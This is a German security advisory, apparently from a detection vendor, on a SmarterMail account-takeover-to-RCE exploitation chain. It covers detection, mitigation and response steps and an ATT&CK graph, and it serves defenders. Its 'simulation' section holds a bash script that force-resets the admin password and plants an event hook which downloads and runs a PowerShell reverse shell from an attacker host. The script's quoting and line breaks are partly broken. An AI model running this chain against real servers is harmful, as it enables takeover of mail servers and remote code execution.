SOC Prime Bias: Kritisch

04 Feb. 2026 16:59

DE&TH zu Schwachstellen: Huntress entdeckt SmarterMail-Kontoübernahme, die zu RCE führt

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
DE&TH zu Schwachstellen: Huntress entdeckt SmarterMail-Kontoübernahme, die zu RCE führt
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Huntress beobachtete den missbräuchlichen Einsatz von zwei SmarterMail-Schwachstellen, die die Übernahme privilegierter Konten ermöglichen und letztendlich zur Ausführung von Remote-Code führen. Angreifer initiieren nicht authentifizierte Passwort-Zurücksetzungen, um ein privilegiertes Token zu erhalten, und missbrauchen dann SmarterMail-„Systemereignisse“, um Befehle zur Erkundung des Hosts auszuführen. Diese Aktivitäten betrafen mehrere Kunden und zeigten Anzeichen einer umfassenden, automatisierten Ausnutzung im großen Maßstab.

Untersuchung

Huntress-Analysten rekonstruierten eine konsistente Abfolge von HTTP-POST-Anfragen an SmarterMail-API-Endpunkte, die zur Zurücksetzung von Passwörtern, Authentifizierung, Konfiguration von Systemereignissen, Hinzufügung von angreifergesteuerten Domains und später zum Entfernen von Spuren verwendet wurden. Die Kette zielt auf CVE-2026-23760 (Übernahme privilegierter Konten) und CVE-2025-52691 (beliebiger Datei-Upload) ab. Anfragen verwendeten häufig den python-requests/2.32.4-User-Agent, und Betreiber hinterließen result.txt-Dateien mit Ergebnissen der Erkundungsbefehle.

Minderung

Aktualisieren Sie SmarterMail auf Build 9511 oder neuer, um beide CVEs zu adressieren. Überprüfen und verschärfen Sie die API-Exposition, deaktivieren oder beschränken Sie unnötige Systemereignisse und überwachen Sie auf anomale API-Aktivitäten, die Konten, Ereignisse oder Domains ändern. Identifizieren und entfernen Sie alle von Angreifern erstellten Systemereignisse und Domains, um die Persistenz zu beseitigen.

Reaktion

Suchen Sie nach dem verdächtigen API-Aufrufmuster und dem python-requests/2.32.4-User-Agent, blockieren Sie die betreffenden Quell-IP-Adressen und löschen Sie bösartige Systemereignisse. Drehen Sie sofort privilegierte Anmeldedaten. Führen Sie Endpoint-Forensik durch, um result.txt zu lokalisieren und zu überprüfen, ob zusätzliche Nutzlasten bereitgestellt wurden. Benachrichtigen Sie betroffene Benutzer/Kunden und bieten Sie klare Abhilfeerklärungen an.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[„<b>Aktion</b> – <b>T1212 Ausnutzung für den Zugriff auf Anmeldeinformationen</b><br/>Der Angreifer nutzt CVE-2026-23760 über POST /api/v1/auth/force-reset-password aus, um ein privilegiertes Passwort zurückzusetzen.“] class action_exploit_cred action action_authenticate[„<b>Aktion</b> – <b>T1078 Gültige Konten</b> & <b>T1134.003 Manipulation von Zugriffstoken</b><br/>Mit den neuen Anmeldeinformationen wird über POST /api/v1/auth/authenticate-user ein Zugriffstoken abgerufen.“] class action_authenticate action tool_requests[„<b>Werkzeug</b> – <b>Name</b>: python-requests 2.32.4<br/><b>Zweck</b>: HTTP-Client für API-Aufrufe“] class tool_requests tool data_token[„<b>Daten</b> – Zugriffstoken<br/>Für nachfolgende API-Interaktionen gespeichert“] class data_token data action_config_event[„<b>Aktion</b> – <b>T1569 Systemdienste</b> & <b>T1574 Entführung des Ausführungsflusses</b><br/>POST /api/v1/settings/sysadmin/event-hook erstellt ein bösartiges Systemereignis.“] class action_config_event action action_add_domain[„<b>Aktion</b> – <b>T1204 Benutzerausführung</b><br/>POST /api/v1/settings/sysadmin/domain-put fügt eine Domäne hinzu, die das Ereignis auslöst und Aufklärungsbefehle ausführt.“] class action_add_domain action data_result[„<b>Daten</b> – result.txt<br/>Datei erstellt unter C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt“] class data_result data action_cleanup[„<b>Aktion</b> – Bereinigungsschritte<br/>POST /api/v1/settings/sysadmin/domain-delete und event-hook-delete zum Entfernen von Artefakten.“] class action_cleanup action action_remove_logs[„<b>Aktion</b> – <b>T1070.001 Löschen von Windows-Ereignisprotokollen</b>“] class action_remove_logs action action_file_deletion[„<b>Aktion</b> – <b>T1070.004 Dateilöschung</b><br/>Löscht result.txt und zugehörige Dateien.“] class action_file_deletion action action_clear_persistence[„<b>Aktion</b> – <b>T1070.009 Entfernen der Persistenz</b>“] class action_clear_persistence action %% Connections action_exploit_cred –>|verwendet| tool_requests action_exploit_cred –>|führt_zu| action_authenticate action_authenticate –>|erzeugt| data_token data_token –>|verwendet_von| action_config_event action_config_event –>|erstellt| action_add_domain action_add_domain –>|schreibt| data_result action_add_domain –>|löst_aus| action_cleanup action_cleanup –>|enthält| action_remove_logs action_cleanup –>|enthält| action_file_deletion action_cleanup –>|enthält| action_clear_persistence

Angriffsablauf

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Basis-Prüfung muss bestanden sein.

Angriffserzählung & Befehle

  1. Erkundung: Angreifer entdeckt, dass die SmarterMail-Instanz eine Version betreibt, die anfällig für CVE‑2026‑23760 ist.
  2. Erzwungene Passwort-Zurücksetzung (T1098): Verwendung der nicht authentifizierten force-reset-password Endpoint, um ein bekanntes Passwort für den privilegierten Admin Konto festzulegen.
  3. Authentifizieren (T1078): Anmeldung mit den neu festgelegten Anmeldedaten über den authenticate-user Endpunkt, um ein Sitzungstoken zu erhalten.
  4. Bösartigen Ereignishook bereitstellen (T1569): POST eines gestalteten JSON-Nutzlasts an event-hook die auf eine PowerShell-Umkehrschale verweist, die auf dem Server des Angreifers gehostet wird.
  5. Ausführung auslösen: Der Ereignis-Hook wird automatisch auf dem Webserver ausgeführt und startet eine Umkehrschale zum Angreifer.
  6. Aufräumen: Entfernen Sie den bösartigen Hook über den event-hook-delete Endpunkt (von der Erkennung ausgeschlossen).

Alle Schritte generieren HTTP POST Events, die mit den Kriterien der Sigma-Regel Auswahl übereinstimmen.

Regression Testskript

#!/usr/bin/env bash
# -------------------------------------------------
# SmarterMail Kontoübernahme & RCE-Simulation
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Erzwingen der Passwort-Zurücksetzung (nicht authentifiziert)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Authentifizierung und Erfassung des Sitzungstokens
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Bösartigen Ereignishook bereitstellen (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

echo "[+] Bösartiger Ereignishook bereitgestellt. Warte auf Umkehrschale..."

# 4. (Optional) Auf Umkehrschale warten – Angreifer betreibt Listener separat:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Aufräumen – Entfernen Sie den Hook (von der Erkennung ausgeschlossen)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Aufräumbefehle

#!/usr/bin/env bash
# Entfernen Sie verbleibende bösartige Hooks und setzen Sie das Admin-Passwort zurück

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Authentifizierung mit dem sicheren Passwort (falls bekannt) oder Verwendung des vorherigen Tokens
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Löschen des bösartigen Ereignishooks (falls noch vorhanden)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Setzen Sie das Admin-Passwort auf einen bekannten guten Wert zurück
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"